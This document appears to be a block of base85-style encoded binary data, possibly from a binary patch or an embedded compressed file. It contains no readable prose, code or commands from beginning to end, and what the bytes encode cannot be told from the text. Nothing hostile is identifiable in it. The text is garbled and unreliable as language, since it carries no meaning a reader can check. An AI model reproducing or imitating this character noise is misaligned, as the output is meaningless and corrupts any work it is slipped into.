zcZOj6Kp9NUpdn02J#hWUlnkOfKoB2@?)^Y~AiC=V@qy@m55xzeJ3SB|D3hrgG>oYR zG@PjxG=ixPG?J+vG>WMKG@7XqG=`}Ol*QBx8q1W_6W4!C$soEz1Mz|A-VDSCqPsE> zABgV9Kzty&69e&q=pGD=ABgV0!1#gaz6*>Wi0-(+_<`tN3ydF#?y|u6f$07Uj30>Z ztibqzvYDDe)0mQa;rfp$8ANwbAU+V?JAwE>bk_vp1JV5whz~?}N+3Sa45n&OE>jIC zkEs@v&r}C0V5$cNnHoTaOpTzKOiiE=Q!}WDDXBNE|Co|NbcX}t1JS(=hz~?}H6T6^ z-OqsdKy)Vq;sen=3>ZHU-MxVE16459g2GI7pa@evsFJAxG>54XRK?T;s%B~ioz9eW zAg=$Il0j!OrGn04$^f0slm$A6DI0VyQwTJdsTwqosRnc&Q!QvdQypjlQ$6T>rUuXj zOpTz0OiiE~re@G0CVG4Eg-pqyiDDHZetQwC@?6TP$XNv3SjQ%oVy8m4N{(@Zs>XP9b1Ynkdm z>zL|6&oVWDo?~hRJz2iJd0$)J~*Qb8{>(R(9bVafu%%9IUyjVT0L z&r}V1ov8-&22(BQO{O}~TTJz!x0xD1?=Urj-eqb6H8M4W-eXES6xV-D$)FFIQb8M- zGC&_PWr03o$_9PR6asBzss??+R0H~ysTTAZQyu7Yrh3p9ObwtfnHoV~F*Sjjn3_Rf zGbQ!K^&e9*=v$^#&?cq~(05E(pzoQoK|e5sK%1GWK|eCpfPP}C1^vua2in3^5Bi0v z0rV?VBj`7#CQvg|Gw6RzNr&P3k0}}S2U9BOPo@meUrbq`znQW@|1gC>z63r#gZxZ2 zpa4@XD1oUCl*rToYRA+FYR}XJN@8jT?Z`xL1nt0-4BCk)6|^%Gy{~W=rYz8|OnB*% zZ#Sk8s3TJ~Xm_R>P$#BZ&>l>6pw3M7pgoxyKwX#`L0y@eK*>zapuL!q`r)dNDH*g6 zQz~d*CVFe;eoR>)dcQNyYM^dRAy5iaHHaQ_jI$c3J5w#F2U8uWCsRGB7gGbMH&Y|% zK&B>8DpND)Af}{rT=g*}gAQRz1@&Q~cLN^ERGyEsAKn;+?dZ#m;EahL&ViR)q`8!$ zWNv?)U13LHM_@g`;lH&87VBzok@1O!|pdI zr{55V&98KJ+Gw5Ium9zYzT|ME?u%QrbeiL9r08DK5l&6ASUO(!zcNu@1rt zKmG6yB*b5cunX~$(n5q+h}RVt;$4k}c%5ZoI?AP^9K93F0`-2n_aXzBr6p?X?=x}|6+Eu7og<4gpQH9b~C|QM4RVYz~_^S|q72>Z#{8fm* z3h`GV{wl;@h4`xwe-+}dLi|;TzY6hJA^s}FUxoOq5PucouR{D)h`$Q)S0Vl?#2>=; zF2*b@M;zsdqa1ORloxZKkaC}pa-VYZ!n1S2*e(SHv=&uj5_4M7kERr{$j5XNdb&t4 zA=ySLDigBGhH@&{rg4CdH@BM^66IjbgO*2RX*J+pKg`!Z#-@{21tuHbB6UU0VPXK*%!NcI^tws|FIFw-!QMuqZb21VJK!Ai?U z)U2O@A)|bxD9Aj9r4{sWr zMJZZjrg<6;((rJ~W$@ZS%NE<4XASbH49^s#5h3P9gpi+$*T*40KUl=^?~+KD*Dj)Ro6L@hIhbCFPWm?aMDKKb_m4l*&Y`*dkVJb0T~f4$5-;1=xqFE~O-Jih7ii z(}G+&s!}TUYrKNOvT?8=y`X3gmxEPcPcYJ{Ga}_}PvzJSRs?C#3xd@=_LP=bw(ujy zt^i}lI#Qv}@mWn#%40$)=M~ea!)Hk$pTH=k;|!%VDGKn$43UqQ2(cZp%89`#D2Z6* z_;8H!l_62ClD9SNVvdI;7rWf3}n6;O%^$tku*K{$_2KS)E? zHB+(ZZ@9Ra=4}B|+Gqt~y1Ejn&?|B+-6~&Um9MbMSJJM8dX;$;NHCP=3u1m)o8Cv8 z9xL~e(gG09$E+2U&*7B(Bd=mkP6h8v%$9~zt*@kv%Tc~nj_X%YaVkq=O)08SYWv{* zvCx|Hh55OB{4b=P7)znGqavkUoot??h50yOv0cXg3iB(u0#YtWDHTM@1u5n7)|@X4 zRu|CDfRrvtD6K5V$Z-mfg@t%~3<4HuB~o#2K`PoS65FM)xNIiZFD~Oi3QI&skXF+L z0j1n-Nl~e=i$okH*bvk%<}Kw@LWkSJihSM%h4l6s%C88|t^gE?$DaM8<&g08JO1VB# zUorN;;sSB3MoOER?EWGx0vBWDOEaVuSgW~kG4|l%kmWB_P3$Y?t3BxGc`+Q*;jy^V zDv!f>VyL34X427S722+{+Ni4L z@u8EhHAOk4osH}q>}@nvi7Q}GN*j|>+88BtsKk8cl`h}GW+-mc8$ORRb&Rz3RUMCIty6Q@GQY0)|*(y@cj zW2M;j!9g-8trY2OI{w0@uqh3Tv!2D|Q|$hna-YPhlx*r6rBszu8gINjkgxShi}}*e zS4xwFbZf8>2XD*LvIx&rq&_+-m09~CWtZpX&#J(_fYU5q5Q#K@79Sgs@-d-2pAUb& z@}hjYbo7kBY#s+n zSuYl!YjL>(f5qH5QW1}64tj)EON$ioc<|L6{NZ$lRpgZy^A&EGQaGorhE?QM8}s)EoKinwvtOhvnKpgx5?)36(|+9wT-QFLfASdAQkh$ zIwyp!^8r#mAB1rp2xDf3t>b?9^itkeDWw4mpB~P~d*pohC`BueVPs~|ht+1@4zM|{ zNHI@KA5tDOq*YXqQW7HAhFC>iq*MvEsEcigk7^>1E*p?Hr$3G+$elxPlP6o4zByq` zOe|HoMST3Nsu25Gm32K_jROc)-kwO=Cv7!cGjUsVF7JzL+SB-doa-y`!3zs_7Abwg zp)0B)@lgl+bI}~Udvsw2jN6t8EAS81QzH?F@f? zmngZdpuFwJfBW55Kcb%Uwm<&`rzvmU_;27%c}wBHtlu_oYW5z$e|K-nTX&=0dKm3# zPyS2d=sop*4C%#x=W5DZZ=>E0Nd zjC$+Cf9ote-X>7vcBoNreT{lM%&50Ce(FY>hD%mbI^uLpLr5@#i#|#Er>nGk3ie65QTc%NO!;E?xZq(ZdJRd36^+vq= zshYhbTf9X(`bf8?s;w}}sJGEZy^S&IEz7_sN_Acs%g?%MZH%{`x9IXKtU|{a@TOur zw#9qYw;qdLV$l*?8E3$oifw!=XBoT2t)=R7{c#4osn{m+GjX=odh7Y>TY^daT%FcS zZ!K4Oo6OJV*;@J5^VK$;!q4|{)wrEtA~xCFRDR-+G}{C!wiA6RZSvr(q>h%^ z270Pun`Xe9itQ8wJykR0R1@ChAm$kGrp9fC?*Qq!t)Q-ZbA8?0>O|I4TOrS=w|t}C z3XFOS#=NGH!?IOS<5p(>YZ&&a$0Jl0ctrk$@cBN5o zR~hwowNY=^@DmeT9hR+Ts&T6|>g`&i-mWw1?Ro>BWfsekU24?Z4Mx4)Xw=&>qu!Ro z8y=q!b%~|xh1FKL$*8xR4Sb?hvE5?e3SW77Y%ZJ}=zGPn?bJB<`(X4V>S1 zH$S!3l(&2M$+xDw-OEqUHRbI-egbcFZ}F;XhOFeL_(rc6_g1jJfb-+YnFFJ{g6iGd z1N=1M=nlPmdyt<FTCO>DrZNi)E={qK7i1hZZZ$k8L zLiOI$M&Cq(-rn;~GT=?P@cZ63>g@yH(yHvK-n|*xy)Wm#~`{`%=c9(69 zP1N_}Ee6w~yMh}3xY^#m;5Vp6cNq5!kw?of`JFYg^ZbjChA9W;r!(zZ&)Sn^AAgM!o&dmm70D;?0;R3;xbecamnC zK;47!2R}n8x|4+HatpP+b&I4QZ^_ATk!uUyz5T`SRCPtRo7_)#@$9$?~#B)xU_pJlM8 zJ^W{HyEkjs^5ZRzCcX7C>aDj?ZwDInmg+xe+qZ(8y$AWvjp;4kjP~edK=}hi8q9pH$UFtY|`5#|3wC4n`YG8biew`h^ywzT6btBJ+H@mC(2E3_lT42E2qFQ@<1r2yp zu@(9+u^qQLRo6%}jd}|i^;Trm+i8A#=Cyg)d}`cg8TD3d)LV&BZ>4_uc$hX1oI1ak z8Stj|g>wI8ZH~#VsJ7{B|K+yW=2ZQaT!r6$;!m5M`INV?UvXRgsk2PPsJBZ0Rc#GP z)>B(yj!|z_M!i)V^>(^n{L&x?p$(wM?F^&d&NS-nETi7e_FvP6k#bj2<93cwZ|55I zHrJ@Pd473G;vNhSmKwM7jCz}I)Y}51-p==5>tTeV7hQCf{psTZ1K!jbaG?Qj>by|n zzb<t`U1HSRrAECi@h^=&7#>tLZkHML zcDYe+R~YqnrT+#GBNV-;8n>&Adb`@Fw`+`gtM%U)eK0(z>PUXA0dML^ew_ht>PUXQ ze_6~vb&r|j&QQOvEj8-x2BY3?^e=aZ-3Ckj%DK#_x8+8?-Q>S1X5Zr7rmCkm8})XJ zQEw~!H^=O0ycud=xV05;-pB2>R=jzS?RKNy>Wq53!>G4ATk+<7E8NwJH}6~FZlm7r zX~moOp5EJvH}5^YSRM!nr{)Y}6_y*+5u+e1dZJ#5t5BSyVFYSdf3QE!hK^|s2W zx5tfod%~!<)keKNY1G?OM!l^u>g{Qx-kve)ZLLvn>x_DP)~L7VjCy;~e@nb4;h5#r zC-Ij|c#}78y==mpjQSO$-d^>uke=HLYTRBk;Z2U)dK2Dcr(QSe?G68}(sNru{TlnG z0dMLXjJN!^wKXJJPi@n;{kKcCt*}V`Hap2L`;U zaob?P+ameJ{f7p;sn|X;;7!H$u>o%?wv7h7sXglx1Kw0@pBnI{_Jz-kdi&gjH+d-g z!hkn5ZeJSkrnc!f=Hx=8r{yMpR+X{Hpt991eWX7Ad z9lkT;&Fa?oX1rNF{lSbktEZdIc(Z!?qZw~jPk%Dw&FbmTX1rNF-D1X@)ze?hc(Z!? zs~K-rPk%Gx&FX2h8E;lk|7XUV)zjb2c(Z!?hZ%2HPyaOI&Fbl2X1rNF{o9N;tEc~% z@n-eZ7chC2@tg5x^)z6{o7K|;;Rnek@zbZ0Z(te);-#+%jCUCns2db*n#Z&pt`n(=1!bayk}te$o< zn9%j5*J?(79o7K}j&3LnV+Qp1FtEXMfc(Zz%Y{r|_)4j}ivwFI>8E;lk_X)(l zuV!zn%+?b1mzeto?uc2~ySM#}dg~UrGiGe@W-OAoeWwKOinmhCa*M9D?*Km_aCgj7 z@n)#lx(Duww^Gb<%3F`Xy)jG0o3Tj#c}CB`eeqU`Sx$ND6<8UwRJ<9=TkpXA@m7ji zPI)^p@IcH`@n$G*seuRMtrWA|q6_T5KRd{TH@Qs@4m=dI&3H3ZY=@ZeCS&UpcsSk= zVwO`|;n2V%F-ygpp}h4CJQ{DMnB^A9KeRi{fH(EMWm=##)V2&3MH8ufN$;F*}?5pRYXx1)@D zJKCtXOrze0890WhWAE_5+IR;$X1N9O-jxvsys2~6$iTXoZN{4+L-UOaJR5JNnB~-! z>gd38F-ygpp<){ocs|}rG0UlO%L+8aEER8t@-{Z`LcEn?mQy`FCh%g+Qt@V}t#EAM zrFbjFET>`{7kD{lsdzKgxQ!3I5^trL<&?MM0V%c2-iKC?^EgJ2PDD-P^>#>n;y%G1RzCYGvHw^{l*24!jX>rI_W^Icthh zZzmY_HZ|~O%pSy>p?Z3vQE%Bsy-f?e6>o=PmQy`F$*8xJje46Ncsphf;>}P!J;kWE zQ;mAd3A_`tL%n0>xHHa^=8V9*l6COzEjQ4pJCSz0-qhbw<^|r9wRQ0BEkE$S?!>dL zVkSJ@S*40dIfcM4h25aGo>BxHdV0|1wNLwb@1-( zw7^E)iL~SOre?^jz$db{4&J>L2R_xEc(&E?t;DFeQls9=0-t&AnO;HlwA`q-*+#up z1U}aT_iU^A7B=cF68OS%EP4gCpH>FG)H6NX%G;d4SDtI@6&A@y09OT?^i0pT@>U)A z+H-Bag7S8H;2S;Dv#q?H(aLxD-apHn8Ti(7EP4eM+gX84dZuSveRe)O@SW${dIja} z922og_vZ$_m)urRvCR$q&{ik1p7J&?uvw~Y1?BC$z>jTpBI_w{^8-IgwXLAMEeQPF zRwuHa@^*e;i&WbR%G(8jU)t(K)>GaV27Z-lTS0lNY2}wY@5hiut^D>8uQzqq#D#%1 zF+1qp+eLxjVtR`=L;W?xVgugPH`^Bnn&S;2W;yi>)FlSIsn{+J{4Zvk@n$T#&Mvvc zfHxJ}Wr5#q$8Ap4xLqFj!*@swKRsjUx~#6>t_b`Y)7v4w`1~nvR|ftv=)+Caddx9b842EAP$NHpkeXL{9V$B>~SKnYP3nUrzw%ouGNgdx-1a{o!*wo)D-fF^|b+@I@cbfrk zs;9Rb@TShrbq2ht*zOE;*ygRUKu*BB0s+Zw1+`7@HsMWf(|ZhfQ{#580dH!X-eh00Mt_EYPH|p)Nz-|U(TV>SS zKP}D!p8Ct~Ck%K~d;Mwy-VmF0ynND(H)~9uGT=@1bWNb6!5Q+jQE$%#b~hN? zTBF|91v(jw?OCJVo(t?@Ft+E7dTR)DHW=FrM!mfl*wbKaFB$dra-fUB*j_Q}?bSe6 zgR#BV%6Efto)&!Sx_7+^Z}PhLbpzhivG)xF-qdyPn+Ck8*xoX_P2UbA8=N8U81?pU zU@wEQy=Tw;BquxFa>}xQ#jYhqF64=jRY@ZtS_SyfV?p@%c zD$f4#+3dv)qCv%qN;PWKs2KNt@lpc>jS?gZDk=)Ol4u|yy8*ORg9Hr)D)mySqS97d z>ZM|}NWDg-6^{jx=$XF%_n!}Q=9%w2^POj& znKPHOdzPXj4BGadQMUJsjx=c7?~Stkp{UfLZQD$+-C(bk+fA_9WMYR=wm%geWzcVb zHp=!v(b2AL)4!Xy( z0Gqx~iwv;oncQoF%~?-<2H12<{oWH?_ky000!G>P@t$bVwxIVU*KB&c6`NqQ7eF!0 z0Gsa9eGRbbrv$?duxZ=&Guo&7d&d~;(-ISGPM?l2z^46nfB`n$rw1Bf)3zPtJ=t|H z=s9GhQMQA<6$WkloKdzzyr&qnZIn^AL%kt`wjE}a?Qn0{plzd#vVGngF=*QnM%j+^ zMh)6lYLx9LZ_J==M;m23#v3uN zrg_gX=(kIZvR!JF?J}cm)4k^!^xNe|*{(3kHp3{}Oz%X4eycOeR&SK8!6;j!x5l;K z^t;$i-bt?6^l5jN2{z}OSF=s9IiD1_8)cj8J06 z>oUqV&%nK)pCirp))wpquhUmU3-&WEk67S6zaZODLz6hUHk%MvdoOU$w$gqh_8J3h z%WN|7MFVV09ky$|Q(U)H+jgCIszJ7HZ--;2(@A?NEWOR5@GLUmH{H_fy%)M~sneFl z-iutbExpbD|7Cg%u<84BiGe#yv)$mm*nLaCW;^ai@3ew!dpw6YY`xw~3bNTXepYPH zAs)|C@1?HUY`=LtUp8vnGVf&uZCmc0Zjfz-iI!UTg2(d}?_BqDh&4hyo|_EVru%fI zffdkZ6XL4|?o<6MRks;vsma%WlD}T8&#=h>oq9EHI zk_meb5#kP`YgHQk%C>&n1e>!D`Hr{AfNjb$ zA=Y}EU9;(D4&OD(cE3@!2aK{k=$+--Z~A}ec*xu0p3V7x?!M=3bydb`+@f`YZm^`BfSEy_dfWa(^w@n z+v5go(=+)7?^W(cuhY688fAOJ+veIf-O?w$vt6?-a$5S7ftG69p7zdhZJQn;&lqKU z)&QGsX`i>clCy=s*0H3MwA zrN8oaxo@ex!56>w&U4MCZF}8>ZB8$2@y>T`n_d@wV}MP!^tavx?rpP=fZ}&1*qqt& z4e!Oz@|sYRs(FhrSEvZ=(?qv?OpFegKY14zvP-t zuQKm@uXW9)Tl#zNb*|a;2>F8nHa$YN8DP^b?KgU7{n6X)+Hbl~w|f`4X45U*;l189 z+ahOO_>*_BYqq6$NFX;g;?D-ybW1<*_PDl9v+XoGLOwLmr~3a%`HO+4?)K+0Lj2Xh zlWooRk%9B6X8W6gGoWVsyLXA}5u(|48D;yof$^qo+ijFh_}uS%wQU}-9qG&{|CylK zihMVC3jO~(g>YV{{tkxMccbeOqGxiSQ8vG?*R^f>v>PzWwvTVA!CnZ0jrY;srWZK{ ziVfJN*M(ueFT1u)_rktL*@hcs+s`Q5{t18hs3&pr+? zz@|s@-1`S3wrd9G|G0c0l(4SQnmhb2H3RU4)HB7=(oN9|8_?i zWjoZj!k}%38D%@%_mzUS@ljeRt=H4hM%g~^yUDd}`d&D~DBF=n*-DMF9pzhT&~HZ@ zWjn?wTbWU|V|`yW=(ppHvK?=ft=uTv3BH?M`%TXwCmLlt$#;uu+w>eV#wgp#M%gNi zvYq0))u7)(M%ltf*&;^SqQ2W)`)%oM_DUP`ea$_aO(x<7*z}Go;k(_SZAsrM_iRgU zvf7$5!e;*nQQ82T_S>nxuj9Pn?oU6%Kg|G}w(WESZ2Ef+XMoLJJ9Gcv*e@8cO}F$+ z-yH^fq0#`Gwr#8dHr)&3z-F!&#v8Crx3tQ4r)%5v&S8R4wzGVzUE8L24rd!>t2WAZ zj#0LAeRmo3+eD*mHAdMc8D%@qceg>mO*YC_Yn1JLqih%W?s4rmJ%>y&$~M)v#ab-?Ifqp zp#^Q*4}3o?$hN1p>0VfGg3alL$A@4Wx_vrVw{*i0YL-3veTJyFnaH;BceM=a4s z6p(Ip@F#pv7G%3|ui2jTJynpccdyx=@;zOUZL!mWp#|O2r+v>9WYg>9p0YjTd$u6k zXZv5(qHTND*H@5jXp3~N{=~D-_nbkt=X@s>WZTnSjXt$K?|Z%=Te)t`kkTS2_XVSD z8+|VrwCzVm*?#QXXwbG74X|DB^ui|Jk6hcP*t6Vo@1=rldwkbBd!(QHeo~Olsr)m9MNaBJ3pH3U88J&@cq1CFMLK=d(E|NdR_R`fNk1u|2Dv; zZ7cHs%5_V%ZC?Kv*KB&N_xXQqkj?LZ-8I`%=l4_t{w=QAwBPnIVViR=1pU8pZJQn; z#RhECEgfcnP20A=ftKpu1uZekHo^d#_S*pl{HE`$1O2~sJwg^apz z0XFTogZ*!~woQ+>&lzPq#3WZj^1bQMS+f-!ka8BaE^gX_T$h zDBDr~w>?KYGs=G^EOLq+ZIta8|5n$1sy}Nh^S|SoO}F$|qin|+Wjo#|Te<&TgMK@~ zDBFqt|1oIWNk-Ym7-c)zC|ia9y@Gx_!MU4<7WBPvivRtBY(sPCT+J3T$`#Tdh}jnprxAai~f(?w{(R)B`q|{_9YW+ ztL)$OyVeMs-PG$0u<2gtHo&&j{tubOA_HvNwj2C^b3H=zvzi-?vh^BeTWXZ;%l^L` z^xHC{Y|D+ZtuV^=75~Ss{igRJH~DwDX4Ch=N~5-Y)c~8e?PmW!T(?yJkEOTx|LK}d z|AyqPCfJ;}GH)}`Qth{|8DP`9n%n*VGT=9RJzeGh#68<>_Bre8{!d-AX}{fJz&6cx zrvWzI3#EP`$BnXW@E5zbO@BuDL;o;?Y)|<2 zb}pM!6@5C{{aSV`;k$$ANvn9XxocM**5tPGHBaNM%jMiA6d{gXNZ4>pznpB8eqHL zsqJO|!3J%6#Q>YO?PmtqwBLU2|D3^=ZZ^QCTlx$CAqH*xr2#f=+p7lHbT7Q-ALY8G z+O}UAVAHn!+JC4)+g>-orfu6|U>~A)HNWv6=DMYNAM#tHY`-(g_J&cmH~ohj^xIoT z+1@tFw$&)xJO0tG{iffoc-Q}V*KGP;_#YFtIqT_rM%mu?AK|*C`ab==QMNxAW!q+y zt>1s7Yrp9eG8JRzzETOy2B{jpNz8o*#MjN+Xn{NwBL66OAU^Y4~??@#Q>Z3 z+h6@h8EolCM%n&mfK9jb@BX6=w)A78Y`YAw>6ZS(e~iJF{?jPizYMVHmVV+dbKO$? z-11ZZu?E?^f#Y1W=^4pql+ACHEnt*wpTO}3{T4LJR&11Qm{GQU1Ldy$rgt^N11Gp< z)1!Akqip*dWh*htHX?AMLBAbflGqm8nC-T<5S+YtuXwBL>loa}yt*k5iErGX09Y`UdK1x|6z zrdxWnQMO}@vXvQSJ2nt9=(ppHvK?=ft=uTv34yRdzny55?IfdYV~nz$9EiB~n_guq z46x}rk~jj~-3INhM%rWj?LYLx9lqih!i&T#EFy{ox6@CDaw*E*WK(%|@@Gh%r>|7IU z&bwosfpgs3=8TX`;9S>iPD4f30Gsa9E(2`3Pv-?Dx^Agvn;)n#$aZyLl0mj>0_VAA z(|!6y18lla7aCyGz3?RiGm>VzHZa+>-{^l9mWzzI&H$UXt=niz7X@nFxAZo9D!)E( zzI!(3{rbfQY}0=030&abHlN+nB?j1*IczHe?tg3>5zE@nQBb`ixk!-5V(U{ocK2yU!@wcLIgKk-PV{ ztu@Maf1vPpX!qW>2Mv6qL-*-J2EL`E*}iAsb3o1Zuz}BZHQPD^XF$#Nh=CPQvwhzv z+xoy1_p6Nk(@o;>z*GZl_V00RFuDo5^OT|Aoz@}~6Y@kmy+b;rj23z{eK)nGrdxX4dfK9jbH3KcxY`+dPxNoWb zGuz^IqikDDusOdd{u?7~c2j?AfKB(p?+mc%`}7S1Y}&Rr4a{##@tdV;xqmCr=dAl& z*!$lFecJ$=Zt2!QW5Ii2vFH)bqcv`LPFlZ5`A(pzAlnUM&-gUkyMg9{Y&VMDJ>t`B z{}Y&1kS(V%LyGzn_VFE5_eRxpK`!X@Mf#IC9OZvKaiwK{zq%S*;JX&47ted=$YedQVb0+?{DmY%c+*T-AUpevLeYtAA zV<%QG-k2I>Fko~zBVp0PvJst_eD-QI<&?)rDyPwtdg25!GiUUm@^YtgId*B(Z5Tmn zSM_=90qfmVz3jOfFjPJ<7k1dbvj^Vp>@e~hl4aY2FXD>gGz`n~+h*Mw!Rj-vX`zJ_I zi6wEZkdo&hk2t7a2+w{VvEMkv#U4?NH2vlNcNlc5*nbz>0^&2k;ziB2M7|p*vEh)u zASLQdC5?o1mc;13K2u7g9jO#jwZx9ur}^OH4}12ogKjN5=7uN3^FF-xpXJ|sza;#P zlR}S8`tX(wndIGfcHX*s$8Epe_xghDGlqFW&qjh#&m*?CP=0In2X&ndEO?xmu!slIDg*%ZRyJm@@@n=R#v z&c?cIoq}OJbXrnE90l=-a}PUOtCNrDPwI#YT}XP*>-n?wKiggV#Bu#fvuw)Qkw_|; zrWBR-3WcOXl*&WG%<=8NPHtl5@nnxS=Yv42gzf90}75pWBLP)LY;z+!jBZ(T0Bx^a6qO~Ni_VhG{#6r_K5}wJCNFzt0EgXrpaU|Zskwlgw$psuq zE#yeLn<4Q~4@bhi9EmLFNEGvYo;TvLTR9S6#gW8njwIJ`By}%G(rX!#2tCM=@H&n} z9^*)K14m*{aU|Zyk;F!hBsXy+wV5O7EeuJ9wsIuAjU$nr9EtAYNQ@TB+;NzU(|_`i zha~7f9LPhG^aJyGNQ!;}JP%3J4l#d9ulP=g~~%>^n)>Z zNSuC5A`eN>3)6W>l3p9lLsIk-SRRtDWJo$hU%JoLNr&lc(RoOOz6P6zMCq%Ac}R@D z&X9-1=>z9HBtakIQvurg@x;%GmHl_30>qhleF zr#KSr<49~1N8(#KlGw(PwK);0b~3_ zOvQa1Net&mawJDmr5s6@GXz_6j)X^ZB$DDtw2~vSYL3KfIg*&hk>pH{q*^$V?#M^N zq0j=3gu6Ks>E%dtB}ZbbI1*pOk;Gb#B-e2ywSgn)K8A!tn>Z5Q%#p|zjzqU|B({ws z@f{pVe8iFDCmcxy{dr?798Qm5NF+3hBjHkxM9Mi54RIuv;z+!bBZ+E`Bx^a6n#Pgz zOol{5EgT7Va3r#TBhhY-#CkarU&)cgDvl)Aa3r;sBk6SviG?_NH*+Mm zg(LB;97$~BNOC7fQoA^k7I;>TAtcn3lV}+0AVD+QVq%~CQJ0DbIg%K` zk>n_jq)IuGE@ueVL5_q|9EntNBwEdpSPe(wQ#q2D&XHszM^bGZNq6KU5v+q833qcO z(#w(Pa*o7q5mmQtLR9evBdE&{G@O;NNMZ*^ zk{@v-6~q}NXJ(6p(<2!Y3617RxQru_PZ)C~I)>}SVjPK|&XGhFN0L5{q-r>lp30DD zXgWv2jU0)za3tEnk=O!`#Jf3?=;cU~PIkFojiy#{B)x_qvCvwMgx7H-LLUd_GRLBQ z9Eok>NPII#5?eTu+{%&EHjbosG9(__#gVWm&bKfg334Plf+Mj}9EpcGl1OnRS;mo6 zB}dZL3`vB>a3oyIk;pWTL_0VVTfmWcBS#Y597*25 zaU`~ZBk?|tBsOs*xtSxWEgVU2Wk@QtjU(Zm9Et4WNK_2VA3v#BkR$OC97&AgNV1e8 zsWOhF%Nc@okR#z3MRh?z>#D(M^cR(N%!U>c&ygOk?=~6L{@Pm zx`rdMwH%38aU`*hBgqXMN%e6gy@?^=&}NQ=w{Rq~l_Sw@9Et7ZNPHJZ5@O%H5fu$5 zgB(eX;7EEDLn5J4j)coO5(#l6n&L>Tk|XhIjwEV1lAOko)J%?~TNn}zb#NrSfFqG^ zjzoJo5?jfU_$rPhvdr_*XN8)81NsQr0GRBeA=^RN{GX&2?ITEho zNMssEq8%KGHF6}rkRyp6jwF|JBy}rC(yJMg4Bg9-@PizQv~eW*7)N4HaU{NxBZ-$e zlHAOZ)N33`Z(~R*^ae-5J2?{B#gVAMSL||jdeKzuJ+2cEa-GC*jwDBMBsG#F=`x0- zLt{7+4sj%s;z+cTBe5!u#H%@ysO3m<8b?wyIg)P7M`EE+3rE5o9EoH(5?#oVST{%F zy&Op_=SXrTM^dXel3vY_aA*xj!uN6{@*qc|>o^j7j3e=tx9NxjCA^cIFh zLR&c!-o}y0PL4!B;z(>4N8)1tyfGh(Bzzo6204-%!IAVRhD1Z7IT9}8NF>FPXeCEt z)f|bB;YgyEBgttTNzLR)x`iRJPzOiC3pf&qaU|N!kytNB;ww3lSjCa#8jhsaawNTu zA@R@#j)eO-64}I&=w^<@ws0iAl_QDwIFj7Kk<>>VN$+AvA|y)kM_nQu*Nl^jX0 zVn`~qh9lv%9Eq&sNOS{7VtpKmZ{kQ|Ge?qJIFj1Rk@R~ENr!fEBrNcS$eeXKmW~8D z65YW|#YS+Q_$ZDf$~cl7!;w^sBk9xgk$5On#gT9gM5}nSGSR+T`Z5&BtIg3iZieHss^`Z$u_#E?j6 zGe^Q(I1<^)k?1y##CCEd{s~7C!2|Lwj3h^LBvs0hbci9*(CHir*K#CM#gXVVj>Kki zB;LZ2Lpsp$C2~~ zhQvdC90_mYNMtidqBR_eZQ)4#4UQz<<4AHFM^ZaDlKzMxiO?q;3DehNOA*5QhgjrZ)8Y1^fE`nuW=;u21lY> zITG8(k@!xIBzAEmDGtgXhv}4$BkAG!NFo#($&v7Ajzr2h5*@>lSd1g_6h{)397$Gl zBvs3i^fZQqLmeCmH*zGhkR#C^j>ML8B)*0tiM1R_-pY~GI*z0_FeDP{<4CxTBauxU ziEiddYzs%?TRDJnjk|^Uy zatudOA&#U|42gv*ITEhsNTik{(P)Kb z#gXV5j>Oh-B)*O#i47b{_HiV&i6iOF3`vAu<4E`ojzr$$NOT)VVmmn!-{m0m9pIx7 z)}4~~9pFSVE)LEghsi{cBgqjQNsZ)4dK5!ap;C^7LmY`zawIy2Be5Ee#HVs3F`XmH znH)*AaU{KfA?Z*rN5U&P5?RHO=o*g1)^Q}>$C1P)jwH8mB(;qr>0S9q5-+HIF0TiZ zq3{TfL`HKYTE>xBh$HbzjwEV0lAOws)J%?~I~WoUb#o-Vk|U8d9Eq;uNNj_H&GH@x9E9^d^P1?i4|T}J@^W;e}l=(t+RLX--8F&cm8+kiyo z)Xi>+v^H88>9jUR2+To9yv#~#o+}3+*I0<(sjC-AC4xr2jugE&p^>#f=uH8Q&^v8? zdB~4}l%jn~r>y2Y`BrHqP-<#G0Et4dcq}ANh~gonVu60W6JHO5$H-gs_vkkc`-zh1 zy2TQuj;QF+rSP>Jlq$m&AGC{Qug|WsR1tk>iBd<(cxhMQ3mvFg^%>?UAo$pUzKVu# zKhj?c2#!`cI_Ci)yOd7roXngIQhm-ysAy=pDwBu-Q|w+(rId3o4dCc(nl*#EamMVr zj*K9loaC&|_O6bc^qEkqJTrXenUh*OGE`y)innI6O`VmM>B_V!-rPE;Q8cu7&B@N_ zXwS4}Tk)E1eljIwdAn+rn$?t@A*;tAli7|fR=#74N>lBmqEoglqO5Dqd>BzCX>xhX zWG4-R=M~Tu<>}|Zx$2G`xylYW?373>l`hqP;dm;Qj)o(tl*UNHSIiTML}_U}nhJ+x z*34mzHw49&6Mt~U@W+I>7=1;5xo;kmrJ{Cb?%hK;-Px@VlBEACMW{0O zexaO~5k7?8(+?>-Q>R~;Y3j^O zpWQUQs(t>Pw)VQl%=8A_KiT#DhMPqB{ z^t#T5mgzJ?<>j0?nQU!m>m1xl6%7^b^;e2h1s)sK3$a-oBn}lD+l3QPYHjFj&$KsZ zOUo}fp>%Rbwsm&vHLY`Im5#@Y^Qfy|?+TnaRs<(5>Jg_+3yR-N5yA7Oir_0VM6mJ-5j+O+4G909DT243 zErM5$6Ty+yBKQP2Mqe(1U#Jqn3u{F159fqYSA;C>(2 z`Dck>KX{%%{C&jNA#NBidPkotdT*{3y+67_^fo|mIm%9i4T%O3dLgv~}7TbJUWg3k^$ z$bW6T2tF`T1kXg9rlQ>sppDl~62Td0Q#sm{TlW78IeL)@&O-Z6gk59d`HCm(0rDtbf%G!qTaf=H$PWO!1bJTt_BOCbke-S3;TS9Log;cL z#aLN^vGOR|HUn)t0&Np$+tg_)EXSBR6ZZXOEPnI?KKiW{D1SfX-HWig0rvw!1Ncuu z{_)`NMm?1N5z_OKru;2dm<;S4geAZU6XV6wm(CGO&#V7^=dyxMEfbbUb zC|m`*rXfFs{H3sy(%X<;jx^{wE_5xmFgC#gdJTT zkD&MuZ_CW+qfT_AcF z*NfgiApaw9EkyoZ$bSa@c@g*NYWQa^?$gK6&vw`kd53}Po6vm$y6=JOPvCkUT(^Vk zeB`$v|DVVo58uWxC!CErVKnB{55e^e{AY)QFb6+|{4XOu3gLOks}NUUo%lKWD83ZtR(3+Ph#9^{vhPoV`m9|5EA67XW!Na0Gzy{MPMPoQ%wFbdZKe;?&2 zECfCRTSE$O0{=ehp%8_P`$ypZNFj(c=KSMv-*3cPco^2lzhb`spWAxGeV9v2zt$rn 